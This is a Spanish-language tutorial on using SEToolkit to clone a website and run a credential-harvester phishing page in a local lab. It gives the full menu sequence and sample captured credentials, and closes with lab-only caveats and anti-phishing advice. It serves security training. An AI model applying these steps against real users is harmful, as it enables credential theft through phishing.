Ejemplo de Uso de SEToolkit

Ejemplo: Clonación de un sitio web para phishing (localmente)

Este ejemplo ilustra cómo clonar un sitio web en un servidor local para fines educativos o de capacitación.

Paso 1: Iniciar SEToolkit

1. Abre un terminal en Kali Linux.

2. Ejecuta el SEToolkit como administrador:

```
sudo setoolkit
```

Paso 2: Seleccionar el tipo de ataque

1. En el menú principal, selecciona 1) Social-Engineering Attacks:

```
Enter your choice: 1
```

2. En el siguiente menú, elige 2) Website Attack Vectors:

```
Enter your choice: 2
```

3. Luego selecciona 3) Credential Harvester Attack Method:

```
Enter your choice: 3
```

Paso 3: Configurar la clonación del sitio

1. Selecciona 2) Site Cloner:

```
Enter your choice: 2
```

2. Proporciona la URL del sitio que deseas clonar (por ejemplo, https://example.com):

Enter the URL to clone: https://example.com

3. Ingresa la dirección IP local de tu máquina para alojar el servidor web (puedes obtener tu IP con el comando ifconfig o ip a):

Enter the IP address for the POST back in Harvester/Tabnabbing: 192.168.1.100

Paso 4: Confirmar la configuración

El SEToolkit clonará el sitio web especificado y configurará un servidor web local. Verás un mensaje similar a este:

Credential Harvester is running...

Harvesting credentials at: http://192.168.1.100

Paso 5: Acceder al sitio clonado

1. Abre un navegador en una máquina víctima (en el laboratorio) y accede a http://192.168.1.100.

2. Ingresa credenciales de prueba en el formulario del sitio clonado.

Paso 6: Revisar los datos capturados

En el terminal donde ejecutaste el SEToolkit, verás las credenciales capturadas, algo similar a:

POST data captured:

username=user@example.com

password=supersecretpassword

Notas importantes

1. Entorno controlado: Esto debe hacerse exclusivamente en un laboratorio cerrado y nunca en un sistema real sin autorización.

2. Propósito educativo: Usar este ejemplo para aprender cómo proteger sistemas frente a ataques de phishing.

3. Desactivar el servidor: Detén el proceso del SEToolkit cuando termines el experimento con Ctrl + C.

Cómo protegerte del phishing

- Siempre verifica la URL de los sitios web.
- Usa autenticación de dos factores (2FA).
- Capacita a los usuarios para identificar correos y sitios sospechosos.